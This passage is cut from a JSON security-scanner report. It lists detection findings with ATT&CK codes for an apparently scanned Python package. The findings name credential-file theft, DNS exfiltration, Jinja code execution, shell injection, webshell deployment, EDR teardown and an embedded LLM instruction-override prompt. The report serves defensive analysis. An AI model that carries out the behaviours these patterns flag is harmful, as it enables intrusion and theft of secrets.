"micro-behaviors/communications/ip/construct::scapy-tcp-rst", "conf": 0.96, "crit": 3, "desc": "Scapy TCP RST packet", "from": [ { "file": 75 } ] }, { "id": "micro-behaviors/data/string/assembly::formatted-index-token-join", "conf": 0.96, "crit": 3, "desc": "Formatted tokens joined with spaces" }, { "id": "micro-behaviors/crypto/hash/mining::mining-lower", "conf": 0.6, "crit": 2, "desc": "mining string (lowercase)", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/os/container/namespace::runtime", "conf": 0.9, "crit": 3, "desc": "Container runtime library usage", "from": [ { "file": 37 }, { "file": 53 }, { "file": 60 }, { "file": 94 }, { "file": 124 }, { "file": 129 } ], "uses": [ 185 ] }, { "id": "micro-behaviors/communications/proxy/tunnel::trycloudflare-domain", "atk": "T1090", "conf": 0.86, "crit": 3, "desc": "References a trycloudflare tunnel domain", "from": [ { "file": 7 } ] }, { "id": "metadata/package/testing/presence/harness::pytest-module", "conf": 0.95, "crit": 2, "desc": "Imports the pytest module", "from": [ { "file": 191 } ] }, { "id": "micro-behaviors/crypto/hash/digest::python-sha256-operation", "mbc": "C0029", "conf": 0.88, "crit": 3, "desc": "Performs Python SHA-256 operation", "from": [ { "file": 4 } ] }, { "id": "metadata/file/string/cloud::aws-metadata-token-header", "conf": 0.9, "crit": 3, "desc": "AWS EC2 metadata token header", "from": [ { "file": 119 } ] }, { "id": "objectives/impact/degrade/edr/teardown::safeboot-edr-vendor--rx-1", "atk": "T1562.001", "conf": 0.9, "crit": 3, "desc": "SafeBoot cleanup targets major EDR vendor", "from": [ { "file": 74 } ] }, { "id": "well-known/lib/development/python-tooling::python-storage-backend-interface", "conf": 0.92, "crit": 3, "desc": "Python storage backend interface", "from": [ { "file": 43 } ] }, { "id": "micro-behaviors/os/firewall/ufw::allow-rule", "conf": 0.9, "crit": 3, "desc": "Adds an allow rule to ufw", "from": [ { "file": 2 } ] }, { "id": "objectives/credential-access/theft/keywords::credential-dict-username-var", "conf": 0.85, "crit": 3, "desc": "Username variable assigned in dict literal", "from": [ { "file": 58 } ] }, { "id": "micro-behaviors/communications/socket/family::socket-sock-stream-name", "atk": "T1071", "mbc": "C0001", "conf": 0.55, "crit": 3, "desc": "SOCK_STREAM constant name", "from": [ { "file": 16 } ] }, { "id": "objectives/lateral-movement/exploit/scanner::file-inclusion-probe-payload", "atk": "T1210", "conf": 0.9, "crit": 3, "desc": "Local-file inclusion probe payload", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-dir", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": ".ssh directory path", "from": [ { "file": 2 } ] }, { "id": "objectives/impact/ransom/encrypt/threat-text::inline__data-loss-threat__unless_1_a", "conf": 1.0, "crit": 3, "desc": "Derived condition (password/account/cred)", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/communications/http/lib/aiohttp::aiohttp-session", "conf": 0.7, "crit": 3, "desc": "aiohttp.ClientSession usage", "from": [ { "file": 10 } ] }, { "id": "objectives/exfiltration/http/hardcoded-key::urllib-payload-argument", "atk": "T1041", "mbc": "C0002", "conf": 0.86, "crit": 3, "desc": "urllib request payload argument", "from": [ { "file": 9 } ] }, { "id": "well-known/tool/detection/security-scanner::defensive-threat-pattern-vars", "conf": 0.95, "crit": 1, "desc": "Defensive threat pattern variables", "from": [ { "file": 71 } ], "uses": [ 608 ] }, { "id": "micro-behaviors/communications/http/url/endpoint::accounts-endpoint-path", "atk": "T1071.001", "mbc": "C0002", "conf": 0.75, "crit": 3, "desc": "Accounts endpoint path", "from": [ { "file": 116 } ] }, { "id": "objectives/persistence/system/registry/com-hijack::current-user-hive-marker", "atk": "T1546.015", "conf": 0.9, "crit": 3, "desc": "Current-user Windows registry hive", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/os/env/ai-provider::python-api-key-env-read", "conf": 0.85, "crit": 3, "desc": "Python reads API key env vars", "from": [ { "file": 19 } ] }, { "id": "micro-behaviors/communications/socket/create::socket-module-import", "atk": "T1071", "mbc": "C0001", "conf": 0.6, "crit": 3, "desc": "Imports Python's socket module", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/os/autorun/scheduled::python-schtasks-query-argument", "atk": "T1053.005", "mbc": "F0012", "conf": 0.95, "crit": 3, "desc": "Python uses schtasks query argument", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/process/create/system::python-os-system-text", "atk": "T1059.006", "mbc": "E1059.006", "conf": 0.85, "crit": 3, "desc": "os.system shell execution in source text" }, { "id": "metadata/package/testing/presence/harness::python-test-file-content", "conf": 0.8, "crit": 2, "desc": "Python test source content", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/process/resources/limits::python-setrlimit", "conf": 0.9, "crit": 3, "desc": "Python sets process resource limits" }, { "id": "micro-behaviors/data/runtime/keywords::pipe-to-python", "conf": 0.88, "crit": 1, "desc": "Pipe to Python interpreter token", "from": [ { "file": 155 } ] }, { "id": "micro-behaviors/communications/http/post::python-httpclient-post-method", "atk": "T1071.001", "mbc": "C0002", "conf": 0.92, "crit": 3, "desc": "Python HTTP client request call", "from": [ { "file": 102 } ] }, { "id": "well-known/tool/detection/security-scanner::defensive-scanner-tool-context", "conf": 0.95, "crit": 1, "desc": "Defensive secret/threat scanner or sandbox context", "from": [ { "file": 61 }, { "file": 71 } ], "uses": [ 1296 ] }, { "id": "micro-behaviors/process/identity/setuid::os-setgid-call", "mbc": "C0042", "conf": 0.9, "crit": 3, "desc": "Python changes process group ID" }, { "id": "micro-behaviors/communications/url/reference::python-comment-url-reference", "conf": 0.9, "crit": 3, "desc": "Python comment contains a URL", "from": [ { "file": 9 } ] }, { "id": "objectives/impact/degrade/calculation::precision-transform-routine", "atk": "T1565.002", "conf": 0.85, "crit": 3, "desc": "Precision transform routine", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/communications/dns/doh::doh-cloudflare-json", "atk": "T1071.004", "mbc": "C0011", "conf": 0.8, "crit": 3, "desc": "Cloudflare DoH JSON API endpoint", "from": [ { "file": 67 } ] }, { "id": "micro-behaviors/communications/http/url/endpoint::login-endpoint-path", "conf": 0.9, "crit": 3, "desc": "HTTP login endpoint path", "from": [ { "file": 116 } ] }, { "id": "micro-behaviors/communications/dns/label::python-dns-query-reference", "atk": "T1071.004", "conf": 0.9, "crit": 3, "desc": "Python DNS resolution API reference", "from": [ { "file": 31 } ] }, { "id": "micro-behaviors/process/interpreter/python::dunder-import-string-call", "atk": "T1059.006", "mbc": "E1059", "conf": 0.9, "crit": 3, "desc": "Python imports named module dynamically", "from": [ { "file": 22 } ] }, { "id": "micro-behaviors/crypto/asymmetric/rsa::pem-rsa-key-header", "conf": 0.9, "crit": 3, "desc": "References RSA private-key PEM header", "from": [ { "file": 201 } ] }, { "id": "micro-behaviors/fs/path/check::python-os-path-isfile-text", "conf": 0.7, "crit": 3, "desc": "Python os.path.isfile path test text", "from": [ { "file": 34 } ] }, { "id": "objectives/command-and-control/backdoor/webshell/client::webshell-deployment-instructions", "atk": "T1505.003", "mbc": "B0030", "conf": 0.95, "crit": 3, "desc": "Webshell upload and execution instructions", "from": [ { "file": 126 } ] }, { "id": "micro-behaviors/fs/delete/directory::shutil-rmtree", "atk": "T1070.004", "mbc": "C0047", "conf": 0.8, "crit": 3, "desc": "Calls rmtree() to delete a directory tree", "from": [ { "file": 22 } ] }, { "id": "micro-behaviors/crypto/asymmetric/key::pem-private-key-header", "conf": 0.99, "crit": 3, "desc": "PEM private-key header", "from": [ { "file": 201 } ] }, { "id": "micro-behaviors/communications/http/user-agent::chrome-121-user-agent", "atk": "T1071.001", "mbc": "C0002", "conf": 0.5, "crit": 3, "desc": "Chrome 121 browser User-Agent string", "from": [ { "file": 42 } ] }, { "id": "micro-behaviors/communications/ssh/connect::port-22-ref--rx-3", "conf": 0.72, "crit": 1, "desc": "Regex component marker", "from": [ { "file": 102 } ] }, { "id": "metadata/package/ecosystem::pypi-runtime-metadata", "conf": 0.94, "crit": 2, "desc": "PyPI package declares Python and dependencies", "from": [ { "off": 0, "file": 218, "line": 1 } ], "uses": [ 508, 1260, 1285 ] }, { "id": "micro-behaviors/os/sysinfo/platform/runtime::platform-system", "atk": "T1082", "conf": 0.7, "crit": 3, "desc": "Queries the OS with platform.system()", "from": [ { "file": 35 } ] }, { "id": "metadata/package/testing/corpus::xss-category-label", "conf": 0.9, "crit": 3, "desc": "XSS attack category label", "from": [ { "file": 2 } ] }, { "id": "objectives/exfiltration/dns/tunnel::dns-beacon", "atk": "T1071.004", "mbc": "C0001", "conf": 0.85, "crit": 4, "desc": "Explicit DNS beacon phrase", "from": [ { "file": 121 } ] }, { "id": "objectives/discovery/host/geo::geo-api", "atk": "T1016", "conf": 0.7, "crit": 3, "desc": "Geolocation API endpoint", "from": [ { "off": 86, "file": 47, "line": 3 } ], "uses": [ 55 ] }, { "id": "objectives/command-and-control/remote-command/llm/action::llm-api-key-action-to-local", "conf": 0.88, "crit": 3, "desc": "Secret action sent to local prompt", "from": [ { "file": 5 } ] }, { "id": "objectives/evasion/masquerade/extension-mismatch::quoted-interpreter-argv-head", "atk": "T1036.008", "conf": 0.9, "crit": 1, "desc": "Quoted interpreter opens an argv list", "from": [ { "file": 14 } ] }, { "id": "micro-behaviors/data/archive/zip::python-zipfile-handle", "conf": 0.9, "crit": 3, "desc": "Python constructs a ZipFile archive handle", "from": [ { "file": 106 } ] }, { "id": "objectives/execution/exploit/code-validation::path-field-shell-command", "atk": "T1190,T1059", "conf": 0.99, "crit": 4, "desc": "Path field contains shell command injection", "from": [ { "file": 128 } ] }, { "id": "micro-behaviors/data/db/elasticsearch::elasticsearch-string", "conf": 0.9, "crit": 3, "desc": "elasticsearch string", "from": [ { "file": 60 } ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlencode", "conf": 0.85, "crit": 3, "desc": "urllib urlencode for data serialization", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-symbol", "conf": 0.82, "crit": 3, "desc": "urllib.request.Request symbol", "from": [ { "file": 7 } ] }, { "id": "objectives/command-and-control/backdoor/keywords::backdoor-operational-payload", "atk": "T1543", "conf": 0.8, "crit": 3, "desc": "Backdoor payload keyword", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-data-body", "conf": 0.9, "crit": 3, "desc": "urllib Request carries an HTTP body" }, { "id": "objectives/discovery/system/fingerprint/hardware::python-platform-system", "atk": "T1082", "mbc": "E1082", "conf": 0.8, "crit": 3, "desc": "Profiles the host operating system", "from": [ { "file": 35 } ] }, { "id": "micro-behaviors/fs/path/token::container-run-secrets", "atk": "T1552.001", "conf": 0.9, "crit": 3, "desc": "Container runtime secrets path", "from": [ { "file": 149 } ] }, { "id": "metadata/file/string/file::tmp", "conf": 0.2, "crit": 1, "desc": "tmp keyword", "from": [ { "file": 14 } ] }, { "id": "micro-behaviors/communications/http/authorization-header::auth-header", "atk": "T1071.001", "mbc": "C0002", "conf": 0.5, "crit": 3, "desc": "Authorization header-name literal", "from": [ { "file": 27 } ] }, { "id": "micro-behaviors/fs/path/application/executable::taskmgr-process", "conf": 0.8, "crit": 3, "desc": "Task Manager process name", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/fs/path/config/accounts::unix-password-file-path-pair", "conf": 0.9, "crit": 3, "desc": "References Unix passwd and shadow paths", "from": [ { "file": 2 } ] }, { "id": "objectives/exfiltration/oob/system-profile::python-platform-profile-fields", "atk": "T1041", "mbc": "E1041", "conf": 0.9, "crit": 3, "desc": "Python platform profile fields", "from": [ { "file": 35 } ] }, { "id": "micro-behaviors/communications/http/request/cgi::request-uri-server-var", "conf": 0.85, "crit": 3, "desc": "Names the CGI REQUEST_URI variable", "from": [ { "file": 33 } ] }, { "id": "micro-behaviors/time/sleep/interval::python-sleep-1s-plus-arg", "conf": 0.75, "crit": 3, "desc": "Python sleep waits at least one second", "from": [ { "file": 32 } ] }, { "id": "micro-behaviors/communications/http/llm::local-llm-generate-path", "atk": "T1071.001", "mbc": "C0002", "conf": 0.92, "crit": 3, "desc": "Local LLM generate or chat API path", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/communications/ssh/connect::port-22-ref", "conf": 0.72, "crit": 1, "desc": "SSH port 22 reference", "from": [ { "file": 5 }, { "file": 60 }, { "file": 61 }, { "file": 102 }, { "off": 12897, "file": 130, "line": 304 }, { "file": 184 } ], "uses": [ 572, 709 ] }, { "id": "metadata/file/catalog/service::service-name-grafana", "conf": 0.82, "crit": 3, "desc": "Grafana service name", "from": [ { "file": 91 } ] }, { "id": "objectives/evasion/masquerade/identity/move::startup-or-appdata-path-reference", "atk": "T1036.005", "mbc": "F0004", "conf": 0.85, "crit": 3, "desc": "Startup or AppData path reference", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/fs/path/filename-credential::credentials-json-file", "conf": 0.85, "crit": 3, "desc": "References a credentials.json file", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/fs/chmod/executable/mode::shell-plus-x", "atk": "T1222", "mbc": "E1222", "conf": 0.75, "crit": 3, "desc": "chmod +x (make executable)" }, { "id": "micro-behaviors/data/serialize/object::python-username-variable-object-field", "conf": 0.92, "crit": 3, "desc": "Python object maps username variable", "from": [ { "file": 58 } ] }, { "id": "micro-behaviors/process/create/shell/agent-runtime::python-arbitrary-command-description", "conf": 0.9, "crit": 3, "desc": "Python describes arbitrary command execution", "from": [ { "file": 4 } ] }, { "id": "micro-behaviors/communications/ip/literal::http-ip-url-source-literal", "conf": 0.95, "crit": 3, "desc": "Source literal contains an external-IP HTTP URL", "from": [ { "file": 31 } ] }, { "id": "objectives/credential-access/ssh/key::private-key-path-rsa", "conf": 0.6, "crit": 3, "desc": "SSH RSA private-key path literal", "from": [ { "file": 2 } ] }, { "id": "metadata/build/toolchain::lex-word", "conf": 1.0, "crit": 3, "desc": "lex lexer-generator tool name", "from": [ { "file": 83 } ] }, { "id": "micro-behaviors/communications/http/user-agent::curl-ua", "conf": 0.7, "crit": 3, "desc": "curl User-Agent", "from": [ { "file": 127 } ] }, { "id": "well-known/tool/detection/security-scanner::defensive-threat-pattern-vars--threat-patterns-2", "conf": 0.95, "crit": 3, "desc": "Defensive threat pattern (THREAT_PATTERNS)", "from": [ { "file": 71 } ] }, { "id": "micro-behaviors/communications/socket/raw::raw-socket-ref", "atk": "T1011", "mbc": "C0001", "conf": 0.7, "crit": 1, "desc": "Raw socket terminology", "from": [ { "file": 74 } ] }, { "id": "objectives/command-and-control/backdoor/keywords::worm-marker", "atk": "T1204", "conf": 0.7, "crit": 3, "desc": "Worm malware or propagation reference", "from": [ { "file": 19 } ] }, { "id": "objectives/supply-chain/credential-theft/package::dependency-discord-webhook-exfil", "atk": "T1195.001", "mbc": "B0030", "conf": 0.85, "crit": 3, "desc": "Depends on a Discord webhook poster", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/communications/mcp::python-mcp-http-tool-name", "conf": 0.99, "crit": 3, "desc": "MCP tool is named http_request", "from": [ { "file": 182 } ] }, { "id": "objectives/credential-access/files/config::registry-credentials-path", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 1, "desc": "NPM or PyPI credential-file path", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/os/env/secret-name::python-environ-credential-keyword-filter", "conf": 0.9, "crit": 3, "desc": "Python environment access uses credential-named keys", "from": [ { "file": 19 }, { "file": 21 }, { "file": 32 }, { "file": 33 }, { "file": 61 }, { "file": 89 }, { "file": 185 }, { "file": 186 } ], "uses": [ 1254, 1275 ] }, { "id": "well-known/tool/detection/threat-intel::threat-intel-label", "conf": 0.9, "crit": 3, "desc": "Threat-intelligence label", "from": [ { "file": 1 } ] }, { "id": "micro-behaviors/communications/ip/literal::external-ipv4-script", "conf": 0.85, "crit": 3, "desc": "Hardcoded external IPv4 address", "from": [ { "file": 131 } ] }, { "id": "micro-behaviors/fs/path/application/executable::dev-apps-vim", "conf": 0.5, "crit": 1, "desc": "Repeated Vim name references", "from": [ { "file": 63 } ] }, { "id": "objectives/evasion/security-bypass/llm/override::llm-ignore-prior-instructions-literal", "conf": 0.88, "crit": 3, "desc": "Code embeds ignore-prior prompt", "from": [ { "file": 187 } ] }, { "id": "objectives/command-and-control/infrastructure/paste::rentry", "conf": 0.7, "crit": 3, "desc": "Rentry.co reference", "from": [ { "file": 122 } ] }, { "id": "micro-behaviors/communications/http/websocket::websocket-headers", "atk": "T1071.001", "mbc": "C0002", "conf": 0.85, "crit": 3, "desc": "WebSocket protocol headers", "from": [ { "file": 43 } ] }, { "id": "micro-behaviors/process/create/agent::agent-function-tool-schema", "conf": 0.9, "crit": 3, "desc": "Agent function-tool registration schema", "from": [ { "file": 61 } ] }, { "id": "micro-behaviors/process/create/exec::python-os-popen-string-command", "atk": "T1059", "conf": 0.9, "crit": 3, "desc": "os.popen receives a literal command string" }, { "id": "micro-behaviors/communications/socket/udp::sock-dgram-python", "conf": 0.8, "crit": 3, "desc": "UDP datagram socket (Python SOCK_DGRAM)", "from": [ { "file": 60 } ] }, { "id": "micro-behaviors/communications/http/proxy::browser-url-relay-target", "atk": "T1041", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Browser relay target URL parameter", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/data/db/redis::ioredis", "conf": 1.0, "crit": 3, "desc": "ioredis driver reference", "from": [ { "file": 124 } ] }, { "id": "micro-behaviors/communications/ip/assignment::python-ipv4-string-assignment", "conf": 0.9, "crit": 3, "desc": "Assigns an IPv4 address string in Python" }, { "id": "micro-behaviors/os/api-resolution/dynamic::python-importlib-spec-exec-module", "conf": 0.86, "crit": 3, "desc": "Python importlib spec module execution", "from": [ { "file": 101 } ] }, { "id": "objectives/credential-access/cloud/token/weaponization::owa-bearer-assertion-body", "atk": "T1550.001", "conf": 0.95, "crit": 4, "desc": "Posts a bearer assertion to OWA", "from": [ { "file": 116 } ] }, { "id": "objectives/lateral-movement/brute-force/ssh::admin-admin-cred", "conf": 0.7, "crit": 3, "desc": "admin:admin credential pair literal", "from": [ { "file": 116 } ] }, { "id": "micro-behaviors/communications/socket/framing::big-endian-u32-framing", "atk": "T1573", "conf": 0.9, "crit": 3, "desc": "Big-endian u32 length framing", "from": [ { "file": 25 } ] }, { "id": "metadata/package/testing/harness/fixture::multiple-token-assignments", "conf": 0.95, "crit": 3, "desc": "Multiple uppercase token assignments", "from": [ { "file": 203 } ] }, { "id": "objectives/command-and-control/infrastructure/tracking::username-field", "conf": 0.7, "crit": 3, "desc": "Username tracking field", "from": [ { "file": 58 } ] }, { "id": "micro-behaviors/crypto/asymmetric/key::openssh-private-key-footer", "conf": 0.99, "crit": 3, "desc": "OpenSSH private-key footer", "from": [ { "file": 203 } ] }, { "id": "micro-behaviors/fs/path/private-key::private-key-suffix", "atk": "T1552.001", "conf": 0.8, "crit": 1, "desc": "Private key file suffix", "from": [ { "file": 124 } ] }, { "id": "micro-behaviors/communications/http/user-agent::bot-user-agent-list--rx-1", "conf": 0.85, "crit": 3, "desc": "Contains a crawler User-Agent string", "from": [ { "file": 127 } ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-import-alias-request-object", "conf": 0.82, "crit": 3, "desc": "urllib import alias Request object", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/crypto/certificate/transparency::crt-sh-endpoint", "conf": 0.92, "crit": 3, "desc": "crt.sh certificate lookup endpoint", "from": [ { "file": 61 } ] }, { "id": "micro-behaviors/ui/graphics/image::python-screenshot-image-method", "conf": 0.75, "crit": 3, "desc": "Calls Python screenshot image method", "from": [ { "file": 18 } ] }, { "id": "micro-behaviors/os/network/status::netstat-an", "conf": 0.9, "crit": 3, "desc": "netstat -an command", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/communications/proxy/target::local-host-parameter", "atk": "T1090,T1572", "conf": 0.94, "crit": 3, "desc": "Host parameter selects loopback or wildcard", "from": [ { "file": 128 } ] }, { "id": "objectives/execution/interpreter/eval/remote::jinja-template-code-execution", "atk": "T1059.006,T1190", "mbc": "B0024", "conf": 0.995, "crit": 5, "desc": "Jinja object traversal executes Python code", "from": [ { "file": 45 } ], "uses": [ 252, 285, 669 ] }, { "id": "micro-behaviors/data/control-flow/module-exec::js-synchronous-iife-close", "conf": 0.86, "crit": 3, "desc": "Calls a parenthesized function expression" }, { "id": "micro-behaviors/process/create/shell/pipeline::pipeline-terminates-in-shell", "atk": "T1027,T1059.004", "mbc": "B0032", "conf": 0.8, "crit": 3, "desc": "Pipeline terminates in a shell", "from": [ { "file": 33 } ] }, { "id": "objectives/execution/automation/agent::agent-target-operation-forward", "atk": "T1059,T1190,T1595", "conf": 0.88, "crit": 3, "desc": "Agent names target probing activity", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/os/package-manager/install::apt-get-install-cmd", "conf": 0.75, "crit": 3, "desc": "apt-get install command" }, { "id": "metadata/package/testing/scripted::pytest-decorator", "conf": 0.9, "crit": 2, "desc": "pytest fixture or mark reference", "from": [ { "file": 191 } ] }, { "id": "micro-behaviors/data/format/html::html-document-string-literal", "conf": 0.6, "crit": 3, "desc": "Contains an HTML document string literal", "from": [ { "file": 44 } ] }, { "id": "micro-behaviors/fs/path/private-key::ssh-private-key-filename-ed25519", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "id_ed25519 filename constant", "from": [ { "file": 41 } ] }, { "id": "micro-behaviors/data/control-flow/error-handling::silent-exception-pass", "atk": "T1027", "mbc": "C0027", "conf": 0.85, "crit": 3, "desc": "exception suppression via try/except pass", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/communications/http/request/client::request-python", "conf": 0.9, "crit": 3, "desc": "Sends an HTTP request with a Python client library", "from": [ { "file": 7 } ], "uses": [ 322, 465, 545, 849 ] }, { "id": "micro-behaviors/fs/directory/mkdir::mkdir-command", "conf": 0.8, "crit": 3, "desc": "Shell invokes mkdir command" }, { "id": "micro-behaviors/data/db/sql::sqlite-master-ref", "conf": 1.0, "crit": 3, "desc": "SQLite sqlite_master reference", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/socket/ssl::python-verify-ssl-false", "conf": 0.9, "crit": 3, "desc": "Python TLS verification disabled by config", "from": [ { "file": 196 } ] }, { "id": "micro-behaviors/communications/socket/ssl::python-ssl-context-wrap-socket", "conf": 0.85, "crit": 3, "desc": "Wraps a socket in Python TLS context", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/communications/dns/doh::doh-google-json", "atk": "T1071.004", "mbc": "C0011", "conf": 0.8, "crit": 3, "desc": "Google DoH JSON API endpoint", "from": [ { "file": 123 } ] }, { "id": "micro-behaviors/fs/write/file/handle::python-open-write-binary", "mbc": "C0016", "conf": 0.85, "crit": 3, "desc": "Python opens file for binary write", "from": [ { "file": 185 } ] }, { "id": "micro-behaviors/os/network/status::ipconfig", "conf": 0.75, "crit": 3, "desc": "Windows ipconfig command reference", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/cookies::domain-attribute", "conf": 0.5, "crit": 3, "desc": "Cookie Domain attribute", "from": [ { "file": 122 } ] }, { "id": "micro-behaviors/communications/http/authorization-header::bearer-token", "atk": "T1071.001", "mbc": "C0002", "conf": 0.5, "crit": 3, "desc": "Bearer token authentication", "from": [ { "file": 116 } ] }, { "id": "micro-behaviors/os/firewall/ufw::enable", "conf": 0.9, "crit": 3, "desc": "Enables the ufw host firewall", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/data/db/sql::sql-quoted-tautology-payload", "conf": 0.92, "crit": 3, "desc": "Quoted SQL tautology payload literal", "from": [ { "file": 45 } ] }, { "id": "objectives/credential-access/ssh/key::python-expanduser-ssh-path", "atk": "T1552.004", "conf": 0.9, "crit": 3, "desc": "Python expands a user's .ssh path", "from": [ { "file": 125 } ] }, { "id": "objectives/discovery/network/scan/distributed::pentest-task-queue-name", "atk": "T1046,T1090", "conf": 0.9, "crit": 3, "desc": "Queue name declares penetration testing", "from": [ { "file": 61 } ] }, { "id": "well-known/tool/detection/security-scanner::defensive-dangerous-command-doc", "conf": 0.92, "crit": 3, "desc": "Defensive dangerous command documentation", "from": [ { "file": 61 } ] }, { "id": "micro-behaviors/process/create/subprocess::python-subprocess-io-fields--returncode", "atk": "T1059.006", "conf": 0.84, "crit": 3, "desc": "Process output/status field names (returncode)", "from": [ { "file": 15 } ] }, { "id": "micro-behaviors/process/create/shell/spawn::python-bash-path", "atk": "T1059.004", "conf": 0.8, "crit": 3, "desc": "/bin/bash shell path in Python code", "from": [ { "file": 127 } ] }, { "id": "micro-behaviors/communications/dns/lookup/resolver::gethostbyname", "conf": 0.85, "crit": 3, "desc": "socket.gethostbyname() DNS lookup", "from": [ { "file": 35 } ] }, { "id": "micro-behaviors/fs/path/private-key::ssh-private-key", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "SSH private-key path literal", "from": [ { "file": 2 } ] }, { "id": "objectives/execution/interpreter/eval/remote::jinja-globals-traversal", "atk": "T1059.006,T1190", "conf": 0.97, "crit": 4, "desc": "Jinja traversal reaches Python globals" }, { "id": "micro-behaviors/fs/path/token::azure-credentials", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "Azure credentials path", "from": [ { "file": 133 } ] }, { "id": "objectives/discovery/network/enumeration::certificate-subdomain-collection", "conf": 0.92, "crit": 4, "desc": "Collects subdomains from certificates", "from": [ { "off": 39853, "file": 91, "line": 960 }, { "off": 502, "file": 92, "line": 11 }, { "off": 7135, "file": 94, "line": 181 }, { "off": 4056, "file": 122, "line": 116 }, { "off": 21453, "file": 123, "line": 498 }, { "off": 38429, "file": 131, "line": 1059 }, { "off": 599, "file": 137, "line": 17 } ], "uses": [ 1, 75, 1317 ] }, { "id": "micro-behaviors/communications/http/user-agent::hardcoded-windows-browser-ua-literal", "conf": 0.82, "crit": 3, "desc": "Hardcoded Windows browser User-Agent literal", "from": [ { "file": 42 } ] }, { "id": "objectives/execution/exploit/http-command-injection::shell-parenthesized-command-string-literal", "atk": "T1059,T1190", "mbc": "B0024", "conf": 0.98, "crit": 3, "desc": "Parenthesized shell command string", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/user-agent::mobile-user-agent-header-map-read", "conf": 0.94, "crit": 3, "desc": "Reads User-Agent from a header map", "from": [ { "file": 42 } ] }, { "id": "micro-behaviors/data/control-flow/analysis::python-early-return-call-gate", "conf": 0.86, "crit": 3, "desc": "Python conditional early return after call", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/process/create/agent::agent-git-hooks-directory", "atk": "T1059", "conf": 0.97, "crit": 3, "desc": "Agent constructs a Git hooks directory", "from": [ { "file": 124 } ] }, { "id": "metadata/file/extension/identity::script-content-extension-mismatch", "conf": 0.9, "crit": 3, "desc": "Script content mismatches extension" }, { "id": "micro-behaviors/communications/dns/doh::doh-cloudflare-ip-1-1-1-1", "atk": "T1071.004", "mbc": "C0011", "conf": 0.75, "crit": 3, "desc": "Cloudflare DoH IP endpoint", "from": [ { "file": 31 } ] }, { "id": "micro-behaviors/os/env/secret-name::credential-env-read", "conf": 0.9, "crit": 3, "desc": "Reads a credential-bearing environment variable", "from": [ { "file": 5 } ], "uses": [ 341, 550, 881, 923, 992, 1000, 1005, 1113 ] }, { "id": "objectives/exfiltration/dns/tunnel::dns-exfil", "atk": "T1071.004", "mbc": "C0001", "conf": 0.85, "crit": 3, "desc": "DNS exfiltration terminology", "from": [ { "file": 43 } ] }, { "id": "micro-behaviors/communications/http/url/scheme::cleartext-http-url-code-literal", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Code embeds cleartext HTTP URL literal", "from": [ { "file": 17 } ] }, { "id": "well-known/app/network/openssh::package-context", "conf": 0.96, "crit": 2, "desc": "OpenSSH package or server artifact context", "from": [ { "file": 88 } ] }, { "id": "micro-behaviors/data/db/sql::sql-select", "conf": 0.6, "crit": 3, "desc": "SQL SELECT syntax reference", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/http/user-agent::non-mozilla-user-agent-header", "conf": 0.9, "crit": 3, "desc": "Sets a non-Mozilla User-Agent header", "from": [ { "file": 7 } ] }, { "id": "objectives/execution/lolbin/os::msiexec-unattended-switch", "conf": 0.88, "crit": 3, "desc": "msiexec unattended install switch", "from": [ { "file": 89 } ] }, { "id": "metadata/file/string/charset::emoji-library-table-text", "conf": 0.85, "crit": 3, "desc": "Emoji library or lookup table text", "from": [ { "file": 78 } ] }, { "id": "micro-behaviors/fs/path/public-key::ssh-authorized-keys", "atk": "T1552.004", "conf": 0.6, "crit": 3, "desc": "SSH authorized_keys path", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/data/serialize/schema-object::mapping-get-action-key", "conf": 0.9, "crit": 3, "desc": "Python mapping reads the literal \"action\" key", "from": [ { "file": 80 } ] }, { "id": "objectives/credential-access/cloud/token/files::python-token-set-add", "atk": "T1552.001", "conf": 0.82, "crit": 3, "desc": "Python adds token to set", "from": [ { "file": 99 } ] }, { "id": "objectives/discovery/host/geo::ip-geolocation-lookup", "atk": "T1016", "conf": 0.85, "crit": 3, "desc": "IP geolocation lookup via API", "from": [ { "file": 47 } ], "uses": [ 432, 577 ] }, { "id": "micro-behaviors/fs/path/check::python-os-path-isfile-symbol", "conf": 0.86, "crit": 3, "desc": "Python os.path.isfile path test", "from": [ { "file": 34 } ] }, { "id": "metadata/package/testing/scripted::sanitization-test-function", "conf": 0.95, "crit": 3, "desc": "Input sanitization test function", "from": [ { "file": 189 } ] }, { "id": "micro-behaviors/communications/http/authorization-header::authorization-header-map-entry", "atk": "T1071.001", "mbc": "C0002", "conf": 0.88, "crit": 